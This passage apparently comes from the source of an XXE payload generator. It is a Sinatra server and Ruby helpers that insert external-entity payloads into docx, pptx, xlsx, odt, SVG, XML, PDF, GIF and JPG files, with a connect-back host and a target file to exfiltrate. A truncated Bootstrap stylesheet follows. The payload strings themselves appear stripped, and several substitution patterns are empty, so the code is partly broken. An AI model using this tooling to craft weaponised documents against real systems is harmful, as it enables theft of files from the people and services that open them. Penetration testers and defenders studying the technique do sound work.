a file type and picks the file from the samples. 60 | input_file = oxmls[params["file_type"]][0] 61 | if input_file == "" 62 | raise StandardError, "Error: File could not be found based on file_type" 63 | end 64 | 65 | nname = "temp_#{Time.now.to_i}_" 66 | ext = params["file_type"] 67 | rand_file = "./output/#{nname}_z.#{ext}" 68 | # Make a copy of the sample and place it into the rand_file 69 | FileUtils::copy_file(input_file,rand_file) 70 | 71 | if oxmls.include?(params["file_type"]) 72 | fn = string_replace(pl[params["payload"]][0],rand_file,ip,params["exfil_file"]) 73 | elsif params["file_type"] == "svg" 74 | fn = insert_payload_svg("./samples/sample.svg",pl[params["payload"]][0],ip,params["exfil_file"]) 75 | elsif params["file_type"] == "xml" 76 | fn = insert_payload_xml("./samples/sample.xml",pl[params["payload"]][0],ip,params["exfil_file"]) 77 | end 78 | 79 | return fn 80 | end 81 | 82 | def replace_file(params) 83 | # proto (required): protocol on connect back 84 | # hostname (required): hostname to connect to 85 | # file (required): the file to write 86 | # payload (required): 87 | # file_type (required): 88 | # xml_file (required): 89 | 90 | if params[:file] == nil 91 | raise StandardError, "Error no file included" 92 | end 93 | 94 | pl = read_payloads() 95 | 96 | if params["proto"] == "none" 97 | ip = params["hostname"] 98 | else 99 | # TODO is this correct for all protocols 100 | ip = params["proto"]+"://"+params["hostname"] 101 | end 102 | 103 | input_file = params[:file][:tempfile].read 104 | nname = "temp_#{Time.now.to_i}_" 105 | ext = params[:file][:filename].split('.').last 106 | rand_file = "./output/#{nname}_z.#{ext}" 107 | File.open(rand_file, 'wb') {|f| f.write(input_file) } 108 | 109 | # TODO logic check if svg or xml 110 | # TODO modify uri 111 | 112 | fn = string_replace(pl[params["payload"]][0],rand_file,ip,params["exfil_file"]) 113 | 114 | if fn == "|-|" 115 | raise StandardError, "Error: Could not find § in document, please verify." 116 | end 117 | 118 | return fn 119 | end 120 | 121 | def overwrite_xml(params) 122 | # proto (required): protocol on connect back 123 | # hostname (required): hostname to connect to 124 | # file (required): the file to write 125 | # payload (required): 126 | # file_type (required): 127 | # xml_file (required): 128 | 129 | if params[:file] == nil 130 | raise StandardError, "Error: No file to overwrite provided" 131 | end 132 | if params[:xml_file] == nil 133 | # Todo: allow the user to randomize this 134 | raise StandardError, "Error: No xml_file inside of the file to overwrite provided" 135 | end 136 | 137 | input_file = params[:file][:tempfile].read 138 | nname = "temp_#{Time.now.to_i}_" 139 | ext = params[:file][:filename].split('.').last 140 | rand_file = "./output/#{nname}_z.#{ext}" 141 | File.open(rand_file, 'wb') {|f| f.write(input_file) } 142 | 143 | if params[:replace_file] != nil 144 | contents = params[:replace_file][:tempfile].read 145 | else 146 | contents = params[:xml_content] 147 | end 148 | fn = insert_payload_docx_(rand_file,params["xml_file"],contents,'','',true) 149 | 150 | return fn 151 | end 152 | -------------------------------------------------------------------------------- /server.rb: -------------------------------------------------------------------------------- 1 | # encoding: ASCII-8BIT 2 | require 'rubygems' 3 | require 'sinatra' 4 | require 'json' 5 | require 'fileutils' 6 | require 'optparse' 7 | require 'json' 8 | require 'sequel' 9 | require 'yaml' 10 | require './lib/util' 11 | require './lib/lib' 12 | 13 | if not File.file?('./db/master.db') 14 | puts "|+| Database does not exist, initializing a blank one." 15 | out_file = File.new("./db/master.db", "w") 16 | out_file.puts("") 17 | out_file.close 18 | DB = Sequel.sqlite("#{Dir.pwd}/db/master.db") 19 | 20 | DB.create_table :oxfiles do 21 | primary_key :id 22 | String :filename 23 | String :location 24 | String :desc 25 | String :type 26 | DateTime :created_at 27 | DateTime :updated_at 28 | end 29 | 30 | end 31 | 32 | require './lib/model' 33 | 34 | # TODO apply to all xml in docx 35 | # TODO explain each menu item in help 36 | # TODO soft link content types 37 | 38 | set :public_folder, File.dirname(__FILE__) + '/public' 39 | set :protocols, ["http","https","ftp","jar","file","netdoc","mailto","gopher","none"] 40 | set :types, ["docx","pptx","xlsx","svg","odt","xml","odg","odp","ods"] 41 | set :poc_types, ["pdf","jpg","gif"] 42 | 43 | # Keep the payloads organized 44 | set :payloads, read_payloads() 45 | 46 | get '/' do 47 | redirect to("/build") 48 | end 49 | 50 | get '/build' do 51 | @types = settings.types 52 | @payloads = settings.payloads 53 | @protos = settings.protocols 54 | slim :build 55 | end 56 | 57 | post '/build' do 58 | fn = build_file(params) 59 | 60 | # write entry to database 61 | x = Oxfile.new 62 | x.filename = fn.split('/').last 63 | x.location = fn 64 | x.desc = clean_html(params["desc"]) 65 | x.type = params["file_type"] 66 | x.save 67 | 68 | send_file(fn, :filename => "#{fn.split('/').last}") 69 | end 70 | 71 | get '/replace' do 72 | @types = settings.types 73 | @payloads = settings.payloads 74 | @protos = settings.protocols 75 | slim :replace 76 | end 77 | 78 | post '/replace' do 79 | fn = replace_file(params) 80 | 81 | # write entry to database 82 | x = Oxfile.new 83 | x.filename = fn.split('/').last 84 | x.location = fn 85 | x.desc = clean_html(params["desc"]) 86 | x.type = fn.split('.').last 87 | x.save 88 | 89 | send_file(fn, :filename => "#{fn.split('/').last}") 90 | end 91 | 92 | get '/xss' do 93 | slim :xss 94 | end 95 | 96 | post '/xss' do 97 | if params[:file] == nil 98 | raise StandardError, "Error: no file included" 99 | end 100 | 101 | input_file = params[:file][:tempfile].read 102 | nname = "temp_#{Time.now.to_i}_" 103 | ext = params[:file][:filename].split('.').last 104 | rand_file = "./output/#{nname}_z.#{ext}" 105 | File.open(rand_file, 'wb') {|f| f.write(input_file) } 106 | 107 | # TODO add an option to add an xss wherever 108 | # TODO logic check if svg or xml 109 | # TODO modify uri 110 | # TODO add a supported types box 111 | # TODO add a non-entity replacement option 112 | 113 | xss = "]>" 114 | xss = "\">]>" if params[:cdata] 115 | 116 | fn = string_replace(xss,rand_file,"","") 117 | if fn == "|-|" 118 | error = "|-| Could not find § in document, please verify." 119 | puts error 120 | slim :error 121 | else 122 | # write entry to database 123 | file = Oxfile.new 124 | file.filename = fn.split('/').last 125 | file.location = fn 126 | file.desc = clean_html(params["desc"]) 127 | file.type = fn.split('.').last 128 | file.save 129 | 130 | send_file(fn, :filename => "#{fn.split('/').last}") 131 | end 132 | end 133 | 134 | get '/poc' do 135 | @types = settings.poc_types 136 | @protos = settings.protocols 137 | 138 | slim :poc 139 | end 140 | 141 | post '/poc' do 142 | if params["proto"] == "none" 143 | ip = params["hostname"] 144 | else 145 | # TODO is this correct for all protocols? 146 | ip = params["proto"]+"://"+params["hostname"] 147 | end 148 | 149 | if params["file_type"] == "pdf" 150 | fn = pdf_poc(ip) 151 | elsif params["file_type"] == "gif" 152 | fn = gif_poc(ip) 153 | elsif params["file_type"] == "jpg" 154 | fn = jpg_poc(ip) 155 | end 156 | 157 | # write entry to database 158 | file = Oxfile.new 159 | file.filename = fn.split('/').last 160 | file.location = fn 161 | file.desc = clean_html(params["desc"]) 162 | file.type = params["file_type"] 163 | file.save 164 | 165 | send_file fn, :type => params["file_type"], :filename => "#{fn.split('/').last}" 166 | end 167 | 168 | get '/list' do 169 | @files = Oxfile.all 170 | 171 | slim :list 172 | end 173 | 174 | get '/download' do 175 | # check if params is set 176 | file = Oxfile.first(:id => params["id"]) 177 | 178 | send_file file.location, :filename => file.filename 179 | end 180 | 181 | get '/display' do 182 | slim :display 183 | end 184 | 185 | post '/display_file' do 186 | if params[:file] == nil 187 | raise StandardError, "Error: no file included" 188 | end 189 | 190 | input_file = params[:file][:tempfile].read 191 | nname = "temp_#{Time.now.to_i}_" 192 | ext = params[:file][:filename].split('.').last 193 | rand_file = "./output/#{nname}_z.#{ext}" 194 | File.open(rand_file, 'wb') {|f| f.write(input_file) } 195 | 196 | @files = display_file(rand_file) 197 | slim :display_file 198 | end 199 | 200 | get '/view_file' do 201 | if params[:id] == nil 202 | raise StandardError, "Error: no file included" 203 | end 204 | 205 | file = Oxfile.first(:id => params["id"]) 206 | rand_file = file.location 207 | 208 | @files = display_file(rand_file) 209 | slim :display_file 210 | end 211 | 212 | get '/delete' do 213 | file = Oxfile.first(:id => params["id"]) 214 | if file == nil 215 | redirect '/list' 216 | end 217 | file.destroy if file 218 | File.delete(file.location) if file.location 219 | redirect '/list' 220 | end 221 | 222 | get '/help' do 223 | @payloads = read_payloads() 224 | slim :help 225 | end 226 | 227 | get '/overwrite' do 228 | slim :overwrite 229 | end 230 | 231 | post '/overwrite' do 232 | fn = overwrite_xml(params) 233 | 234 | # write entry to database 235 | file = Oxfile.new 236 | file.filename = fn.split('/').last 237 | file.location = fn 238 | file.desc = clean_html(params["desc"]) 239 | file.type = fn.split('.').last 240 | file.save 241 | 242 | send_file(fn, :filename => "#{fn.split('/').last}") 243 | end 244 | -------------------------------------------------------------------------------- /lib/util.rb: -------------------------------------------------------------------------------- 1 | # encoding: ASCII-8BIT 2 | require 'zip' 3 | require 'fileutils' 4 | require 'json' 5 | 6 | 7 | def docx_modify(rand_file,docx_xml,fil_r) 8 | Zip::File.open(rand_file) do |zipfile| 9 | zipfile.get_output_stream(fil_r) {|f| f.write(docx_xml)} 10 | end 11 | end 12 | 13 | def read_rels(zipfile,fil_r) 14 | content_types = "" 15 | 16 | Zip::File.open(zipfile) do |zipfile| 17 | content_types = zipfile.read(fil_r) 18 | end 19 | 20 | return content_types 21 | end 22 | 23 | # Insert the payload into every XML document in the document 24 | def add_payload_all(fz,payload) 25 | fz.each do |name| 26 | add_payload(name, payload) 27 | end 28 | end 29 | 30 | # takes in a docx and returns a list of files 31 | def list_files(docx) 32 | files = [] 33 | Zip::File.open(docx, Zip::File::CREATE) do |zipfile| 34 | n = zipfile.num_files # gather entries 35 | 36 | n.times do |i| 37 | entry_name = zipfile.get_name(i) # get entry name from archive 38 | files.push(entry_name) 39 | end 40 | end 41 | return files 42 | end 43 | 44 | # Inserts payload into all files 45 | def add_payload_of(fz,payloadx,of) 46 | 47 | # get file ext 48 | ext = @options["file"].split(".").last 49 | nname = "output_#{Time.now.to_i}_all" 50 | rand_file = "./output/#{nname}.#{ext}" 51 | FileUtils::copy_file(@options["file"],rand_file) 52 | 53 | fz.each do |name| 54 | 55 | document = read_rels(rand_file,"#{name}") 56 | 57 | docx_xml = payload(document,payloadx) 58 | 59 | docx_modify(rand_file, docx_xml, name) 60 | 61 | end 62 | puts "|+| Created #{rand_file}" 63 | end 64 | 65 | def insert_payload_docx(ffile,name,payloadx,ip,exfil) 66 | document = read_rels(ffile,"#{name}") 67 | 68 | # get file ext 69 | ext = ffile.split(".").last 70 | nname = "output_#{Time.now.to_i}_#{name.gsub(".","_").gsub("/","_")}" 71 | rand_file = "./output/#{nname}.#{ext}" 72 | 73 | docx_xml = payload(document,payloadx,ip,exfil) 74 | 75 | FileUtils::copy_file(ffile,rand_file) 76 | docx_modify(rand_file, docx_xml, name) 77 | 78 | return rand_file 79 | end 80 | 81 | # overridden method for replacing entire xml files 82 | def insert_payload_docx_(ffile,name,payloadx,ip,exfil,bool_replace_xml) 83 | document = read_rels(ffile,"#{name}") 84 | 85 | # get file ext 86 | ext = ffile.split(".").last 87 | nname = "output_#{Time.now.to_i}_#{name.gsub(".","_").gsub("/","_")}" 88 | rand_file = "./output/#{nname}.#{ext}" 89 | 90 | docx_xml = payload(document,payloadx,ip,exfil) 91 | docx_xml = payloadx if bool_replace_xml 92 | 93 | FileUtils::copy_file(ffile,rand_file) 94 | docx_modify(rand_file, docx_xml, name) 95 | 96 | return rand_file 97 | end 98 | 99 | 100 | def insert_payload_svg(ffile,payloadx,ip,exfil) 101 | # get file ext 102 | nname = "output_#{Time.now.to_i}" 103 | rand_file = "./output/#{nname}.svg" 104 | 105 | contents = File.open(ffile, "rb").read 106 | 107 | svg_p = payload(contents,payloadx,ip,exfil) 108 | 109 | File.open(rand_file, 'w') { |file| file.write(svg_p) } 110 | 111 | return rand_file 112 | end 113 | 114 | def insert_payload_xml(ffile,payloadx,ip,exfil) 115 | # get file ext 116 | nname = "output_#{Time.now.to_i}" 117 | rand_file = "./output/#{nname}.xml" 118 | 119 | contents = File.open(ffile, "rb").read 120 | 121 | xml_p = payload(contents,payloadx,ip,exfil) 122 | 123 | # TODO this should handle if canary is used 124 | 125 | File.open(rand_file, 'w') { |file| file.write(xml_p) } 126 | 127 | return rand_file 128 | end 129 | 130 | # TODO there are many combinations of XML doctype this doesnt cover; bug if user supplies odd xml 131 | # this does a simple substitution of the [X]XE into the document DOCTYPE. 132 | # It also resets the xml from standalone "yes" to "no" 133 | def payload(document,payload,ip,exfiltrate) 134 | # insert the payload, TODO this should be refactored 135 | document = document.gsub('',"""#{payload.gsub('IP',ip).gsub('FILE',exfiltrate)}""") 136 | document = document.gsub('',"""#{payload.gsub('IP',ip).gsub('FILE',exfiltrate)}""") 137 | return document 138 | end 139 | 140 | def pdf_poc(hostname) 141 | 142 | # it's a hack, but gsubing into form pdf 143 | file = "./samples/form.pdf" 144 | 145 | payload = '' 146 | payload = payload.gsub("IP",hostname) 147 | 148 | len = 16724+payload.size 149 | nm = "./output/o_#{Time.now.to_i}.pdf" 150 | 151 | out = File.open(nm,"wb") 152 | fil = File.open(file,"rb") 153 | 154 | while(line = fil.gets) 155 | line = line.chomp 156 | line = line.gsub("-----",len.to_s) 157 | line = line.gsub("---",payload) 158 | out.puts(line) 159 | end 160 | return nm 161 | end 162 | 163 | def gif_poc(hostname) 164 | 165 | file = "./samples/xmp.gif" 166 | 167 | nm = "./output/o_#{Time.now.to_i}.gif" 168 | 169 | payload = '' 170 | payload = payload.gsub("IP",hostname) 171 | 172 | out = File.open(nm,"wb") 173 | fil = File.open(file,"rb") 174 | 175 | while(line = fil.gets) 176 | line = line.gsub("-----",payload) 177 | out.puts(line) 178 | end 179 | 180 | return nm 181 | end 182 | 183 | def jpg_poc(hostname) 184 | 185 | file = "./samples/tunnel-depth.jpg" 186 | 187 | nm = "./output/o_#{Time.now.to_i}.jpg" 188 | 189 | payload = '' 190 | payload = payload.gsub("IP",hostname) 191 | 192 | out = File.open(nm,"wb") 193 | fil = File.open(file,"rb") 194 | 195 | while(line = fil.gets) 196 | line = line.gsub("-----",payload.gsub('\\') {'\\\\'}) 197 | out.puts(line) 198 | end 199 | 200 | return nm 201 | end 202 | 203 | # Given the xxe payload, the input_file (e.g. output_foo_rand.docx), and what to exfiltrate -- 204 | # this will replace §. 205 | def string_replace(payload,input_file,ip,exfiltrate) 206 | targets = [] 207 | 208 | Zip::File.open(input_file) do |zipfile| 209 | zipfile.each do |entry| 210 | nm = entry.name 211 | document = read_rels(input_file,"#{nm}") 212 | next unless document.valid_encoding? 213 | if document =~ /§/ 214 | targets.push(nm) 215 | end 216 | end 217 | end 218 | 219 | if targets.size == 0 220 | raise StandardError, "Error: Could not find § in document, please verify." 221 | end 222 | 223 | # get file ext 224 | ext = input_file.split(".").last 225 | nname = "output_#{Time.now.to_i}_all" 226 | rand_file = "./output/#{nname}_rr.#{ext}" 227 | FileUtils::copy_file(input_file,rand_file) 228 | 229 | targets.each do |target| 230 | document = read_rels(rand_file,"#{target}") 231 | docx_xml = payload(document,payload,ip,exfiltrate) 232 | # replace string 233 | docx_xml = docx_xml.gsub("§","&xxe;") 234 | docx_modify(rand_file, docx_xml, target) 235 | end 236 | 237 | return rand_file 238 | end 239 | 240 | def clean_xml(code) 241 | return code unless code 242 | # take in xml, clean for display in UI 243 | code = code.gsub(">",">\n") 244 | code = code.gsub("<","<") 245 | code = code.gsub(" ","") 246 | return code 247 | end 248 | 249 | def clean_html(code) 250 | return code unless code 251 | code = code.gsub(">",">\n") 252 | code = code.gsub("<","<") 253 | code = code.gsub(" ","") 254 | return code 255 | end 256 | 257 | def display_file(rand_file) 258 | ext = rand_file.split('.').last 259 | 260 | @files = [] 261 | if ext =~ /xml/ or ext =~ /svg/ 262 | file = {} 263 | file["name"] = "XML/SVG FILE" 264 | file["id"] = 0 265 | # file["contents"] = clean_xml(File.open(rand_file, "rb").read) 266 | file["contents"] = File.open(rand_file, "rb").read 267 | 268 | @files = [file] 269 | elsif ext =~ /pdf/ or ext =~ /jpg/ or ext =~ /gif/ 270 | file = {} 271 | file["name"] = "PDF/JPG/GIF" 272 | file["id"] = 0 273 | file["contents"] = "NOT AN XML FILE" 274 | @files = [file] 275 | else 276 | Zip::File.open(rand_file) do |zipfile| 277 | num = 0 278 | zipfile.each do |entry| 279 | file = {} 280 | nm = entry.name 281 | file["name"] = entry.name 282 | file["id"] = num 283 | if nm =~ /xml/ or nm =~ /_rels/ or nm =~ /Cont/ 284 | document = entry.get_input_stream.read 285 | if document 286 | #file["contents"] = clean_xml(document) # read entry content 287 | file["contents"] = document 288 | else 289 | file["contents"] = "EMPTY FILE" 290 | end 291 | else 292 | file["contents"] = "NOT AN XML FILE" 293 | end 294 | num = num + 1 295 | @files.push(file) 296 | end 297 | end 298 | end 299 | return @files 300 | end -------------------------------------------------------------------------------- /public/bootstrap/css/bootstrap-reboot.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap Reboot v5.3.0-alpha3 (https://getbootstrap.com/) 3 | * Copyright 2011-2023 The Bootstrap Authors 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) 5 | */:root,[data-bs-theme=light]{--bs-blue:#0d6efd;--bs-indigo:#6610f2;--bs-purple:#6f42c1;--bs-pink:#d63384;--bs-red:#dc3545;--bs-orange:#fd7e14;--bs-yellow:#ffc107;--bs-green:#198754;--bs-teal:#20c997;--bs-cyan:#0dcaf0;--bs-black:#000;--bs-white:#fff;--bs-gray:#6c757d;--bs-gray-dark:#343a40;--bs-gray-100:#f8f9fa;--bs-gray-200:#e9ecef;--bs-gray-300:#dee2e6;--bs-gray-400:#ced4da;--bs-gray-500:#adb5bd;--bs-gray-600:#6c757d;--bs-gray-700:#495057;--bs-gray-800:#343a40;--bs-gray-900:#212529;--bs-primary:#0d6efd;--bs-secondary:#6c757d;--bs-success:#198754;--bs-info:#0dcaf0;--bs-warning:#ffc107;--bs-danger:#dc3545;--bs-light:#f8f9fa;--bs-dark:#212529;--bs-primary-rgb:13,110,253;--bs-secondary-rgb:108,117,125;--bs-success-rgb:25,135,84;--bs-info-rgb:13,202,240;--bs-warning-rgb:255,193,7;--bs-danger-rgb:220,53,69;--bs-light-rgb:248,249,250;--bs-dark-rgb:33,37,41;--bs-primary-text-emphasis:#052c65;--bs-secondary-text-emphasis:#2b2f32;--bs-success-text-emphasis:#0a3622;--bs-info-text-emphasis:#055160;--bs-warning-text-emphasis:#664d03;--bs-danger-text-emphasis:#58151c;--bs-light-text-emphasis:#495057;--bs-dark-text-emphasis:#495057;--bs-primary-bg-subtle:#cfe2ff;--bs-secondary-bg-subtle:#e2e3e5;--bs-success-bg-subtle:#d1e7dd;--bs-info-bg-subtle:#cff4fc;--bs-warning-bg-subtle:#fff3cd;--bs-danger-bg-subtle:#f8d7da;--bs-light-bg-subtle:#fcfcfd;--bs-dark-bg-subtle:#ced4da;--bs-primary-border-subtle:#9ec5fe;--bs-secondary-border-subtle:#c4c8cb;--bs-success-border-subtle:#a3cfbb;--bs-info-border-subtle:#9eeaf9;--bs-warning-border-subtle:#ffe69c;--bs-danger-border-subtle:#f1aeb5;--bs-light-border-subtle:#e9ecef;--bs-dark-border-subtle:#adb5bd;--bs-white-rgb:255,255,255;--bs-black-rgb:0,0,0;--bs-font-sans-serif:system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue","Noto Sans","Liberation Sans",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--bs-font-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--bs-gradient:linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0));--bs-body-font-family:var(--bs-font-sans-serif);--bs-body-font-size:1rem;--bs-body-font-weight:400;--bs-body-line-height:1.5;--bs-body-color:#212529;--bs-body-color-rgb:33,37,41;--bs-body-bg:#fff;--bs-body-bg-rgb:255,255,255;--bs-emphasis-color:#000;--bs-emphasis-color-rgb:0,0,0;--bs-secondary-color:rgba(33, 37, 41, 0.75);--bs-secondary-color-rgb:33,37,41;--bs-secondary-bg:#e9ecef;--bs-secondary-bg-rgb:233,236,239;--bs-tertiary-color:rgba(33, 37, 41, 0.5);--bs-tertiary-color-rgb:33,37,41;--bs-tertiary-bg:#f8f9fa;--bs-tertiary-bg-rgb:248,249,250;--bs-link-color:#0d6efd;--bs-link-color-rgb:13,110,253;--bs-link-decoration:underline;--bs-link-hover-color:#0a58ca;--bs-link-hover-color-rgb:10,88,202;--bs-code-color:#d63384;--bs-highlight-bg:#fff3cd;--bs-border-width:1px;--bs-border-style:solid;--bs-border-color:#dee2e6;--bs-border-color-translucent:rgba(0, 0, 0, 0.175);--bs-border-radius:0.375rem;--bs-border-radius-sm:0.25rem;--bs-border-radius-lg:0.5rem;--bs-border-radius-xl:1rem;--bs-border-radius-xxl:2rem;--bs-border-radius-2xl:var(--bs-border-radius-xxl);--bs-border-radius-pill:50rem;--bs-box-shadow:0 0.5rem 1rem rgba(0, 0, 0, 0.15);--bs-box-shadow-sm:0 0.125rem 0.25rem rgba(0, 0, 0, 0.075);--bs-box-shadow-lg:0 1rem 3rem rgba(0, 0, 0, 0.175);--bs-box-shadow-inset:inset 0 1px 2px rgba(0, 0, 0, 0.075);--bs-focus-ring-width:0.25rem;--bs-focus-ring-opacity:0.25;--bs-focus-ring-color:rgba(13, 110, 253, 0.25);--bs-form-valid-color:#198754;--bs-form-valid-border-color:#198754;--bs-form-invalid-color:#dc3545;--bs-form-invalid-border-color:#dc3545}[data-bs-theme=dark]{color-scheme:dark;--bs-body-color:#adb5bd;--bs-body-color-rgb:173,181,189;--bs-body-bg:#212529;--bs-body-bg-rgb:33,37,41;--bs-emphasis-color:#fff;--bs-emphasis-color-rgb:255,255,255;--bs-secondary-color:rgba(173, 181, 189, 0.75);--bs-secondary-color-rgb:173,181,189;--bs-secondary-bg:#343a40;--bs-secondary-bg-rgb:52,58,64;--bs-tertiary-color:rgba(173, 181, 189, 0.5);--bs-tertiary-color-rgb:173,181,189;--bs-tertiary-bg:#2b3035;--bs-tertiary-bg-rgb:43,48,53;--bs-primary-text-emphasis:#6ea8fe;--bs-secondary-text-emphasis:#a7acb1;--bs-success-text-emphasis:#75b798;--bs-info-text-emphasis:#6edff6;--bs-warning-text-emphasis:#ffda6a;--bs-danger-text-emphasis:#ea868f;--bs-light-text-emphasis:#f8f9fa;--bs-dark-text-emphasis:#dee2e6;--bs-primary-bg-subtle:#031633;--bs-secondary-bg-subtle:#161719;--bs-success-bg-subtle:#051b11;--bs-info-bg-subtle:#032830;--bs-warning-bg-subtle:#332701;--bs-danger-bg-subtle:#2c0b0e;--bs-light-bg-subtle:#343a40;--bs-dark-bg-subtle:#1a1d20;--bs-primary-border-subtle:#084298;--bs-secondary-border-subtle:#41464b;--bs-success-border-subtle:#0f5132;--bs-info-border-subtle:#087990;--bs-warning-border-subtle:#997404;--bs-danger-border-subtle:#842029;--bs-light-border-subtle:#495057;--bs-dark-border-subtle:#343a40;--bs-link-color:#6ea8fe;--bs-link-hover-color:#8bb9fe;--bs-link-color-rgb:110,168,254;--bs-link-hover-color-rgb:139,185,254;--bs-code-color:#e685b5;--bs-border-color:#495057;--bs-border-color-translucent:rgba(255, 255, 255, 0.15);--bs-form-valid-color:#75b798;--bs-form-valid-border-color:#75b798;--bs-form-invalid-color:#ea868f;--bs-form-invalid-border-color:#ea868f}*,::after,::before{box-sizing:border-box}@media (prefers-reduced-motion:no-preference){:root{scroll-behavior:smooth}}body{margin:0;font-family:var(--bs-body-font-family);font-size:var(--bs-body-font-size);font-weight:var(--bs-body-font-weight);line-height:var(--bs-body-line-height);color:var(--bs-body-color);text-align:var(--bs-body-text-align);background-color:var(--bs-body-bg);-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}hr{margin:1rem 0;color:inherit;border:0;border-top:var(--bs-border-width) solid;opacity:.25}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2;color:var(--bs-heading-color,inherit)}h1{font-size:calc(1.375rem + 1.5vw)}@media (min-width:1200px){h1{font-size:2.5rem}}h2{font-size:calc(1.325rem + .9vw)}@media (min-width:1200px){h2{font-size:2rem}}h3{font-size:calc(1.3rem + .6vw)}@media (min-width:1200px){h3{font-size:1.75rem}}h4{font-size:calc(1.275rem + .3vw)}@media (min-width:1200px){h4{font-size:1.5rem}}h5{font-size:1.25rem}h6{font-size:1rem}p{margin-top:0;margin-bottom:1rem}abbr[title]{-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul{padding-left:2rem}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small{font-size:.875em}mark{padding:.1875em;background-color:var(--bs-highlight-bg)}sub,sup{position:relative;font-size:.75em;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:rgba(var(--bs-link-color-rgb),var(--bs-link-opacity,1));text-decoration:underline}a:hover{--bs-link-color-rgb:var(--bs-link-hover-color-rgb)}a:not([href]):not([class]),a:not([href]):not([class]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:var(--bs-font-monospace);font-size:1em}pre{display:block;margin-top:0;margin-bottom:1rem;overflow:auto;font-size:.875em}pre code{font-size:inherit;color:inherit;word-break:normal}code{font-size:.875em;color:var(--bs-code-color);word-wrap:break-word}a>code{color:inherit}kbd{padding:.1875rem .375rem;font-size:.875em;color:var(--bs-body-bg);background-color:var(--bs-body-color);border-radius:.25rem}kbd kbd{padding:0;font-size:1em}figure{margin:0 0 1rem}img,svg{vertical-align:middle}table{caption-side:bottom;border-collapse:collapse}caption{padding-top:.5rem;padding-bottom:.5rem;color:var(--bs-secondary-color);text-align:left}th{text-align:inherit;text-align:-webkit-match-parent}tbody,td,tfoot,th,thead,tr{border-color:inherit;border-style:solid;border-width:0}label{display:inline-block}button{border-radius:0}button:focus:not(:focus-visible){outline:0}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}select:disabled{opacity:1}[list]:not([type=date]):not([type=datetime-local]):not([type=month]):not([type=week]):not([type=time])::-webkit-calendar-picker-indicator{display:none!important}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}::-moz-focus-inner{padding:0;border-style:none}textarea{resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{float:left;width:100%;padding:0;margin-bottom:.5rem;font-size:calc(1.275rem + .3vw);line-height:inherit}@media (min-width:1200px){legend{font-size:1.5rem}}legend+*{clear:left}::-webkit-datetime-edit-day-field,::-webkit-datetime-edit-fields-wrapper,::-webkit-datetime-edit-hour-field,::-webkit-datetime-edit-minute,::-webkit-datetime-edit-month-field,::-webkit-datetime-edit-text,::-webkit-datetime-edit-year-field{padding:0}::-webkit-inner-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:textfield}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-color-swatch-wrapper{padding:0}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}::file-selector-button{font:inherit;-webkit-appearance:button}output{display:inline-block}iframe{border:0}summary{display:list-item;cursor:pointer}progress{vertical-align:baseline}[hidden]{display:none!important} 6 | /*# sourceMappingURL=bootstrap-reboot.min.css.map */ -------------------------------------------------------------------------------- /public/bootstrap/css/bootstrap-reboot.rtl.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap Reboot v5.3.0-alpha3 (https://getbootstrap.com/) 3 | * Copyright 2011-2023 The Bootstrap Authors 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) 5 | */:root,[data-bs-theme=light]{--bs-blue:#0d6efd;--bs-indigo:#6610f2;--bs-purple:#6f42c1;--bs-pink:#d63384;--bs-red:#dc3545;--bs-orange:#fd7e14;--bs-yellow:#ffc107;--bs-green:#198754;--bs-teal:#20c997;--bs-cyan:#0dcaf0;--bs-black:#000;--bs-white:#fff;--bs-gray:#6c757d;--bs-gray-dark:#343a40;--bs-gray-100:#f8f9fa;--bs-gray-200:#e9ecef;--bs-gray-300:#dee2e6;--bs-gray-400:#ced4da;--bs-gray-500:#adb5bd;--bs-gray-600:#6c757d;--bs-gray-700:#495057;--bs-gray-800:#343a40;--bs-gray-900:#212529;--bs-primary:#0d6efd;--bs-secondary:#6c757d;--bs-success:#198754;--bs-info:#0dcaf0;--bs-warning:#ffc107;--bs-danger:#dc3545;--bs-light:#f8f9fa;--bs-dark:#212529;--bs-primary-rgb:13,110,253;--bs-secondary-rgb:108,117,125;--bs-success-rgb:25,135,84;--bs-info-rgb:13,202,240;--bs-warning-rgb:255,193,7;--bs-danger-rgb:220,53,69;--bs-light-rgb:248,249,250;--bs-dark-rgb:33,37,41;--bs-primary-text-emphasis:#052c65;--bs-secondary-text-emphasis:#2b2f32;--bs-success-text-emphasis:#0a3622;--bs-info-text-emphasis:#055160;--bs-warning-text-emphasis:#664d03;--bs-danger-text-emphasis:#58151c;--bs-light-text-emphasis:#495057;--bs-dark-text-emphasis:#495057;--bs-primary-bg-subtle:#cfe2ff;--bs-secondary-bg-subtle:#e2e3e5;--bs-success-bg-subtle:#d1e7dd;--bs-info-bg-subtle:#cff4fc;--bs-warning-bg-subtle:#fff3cd;--bs-danger-bg-subtle:#f8d7da;--bs-light-bg-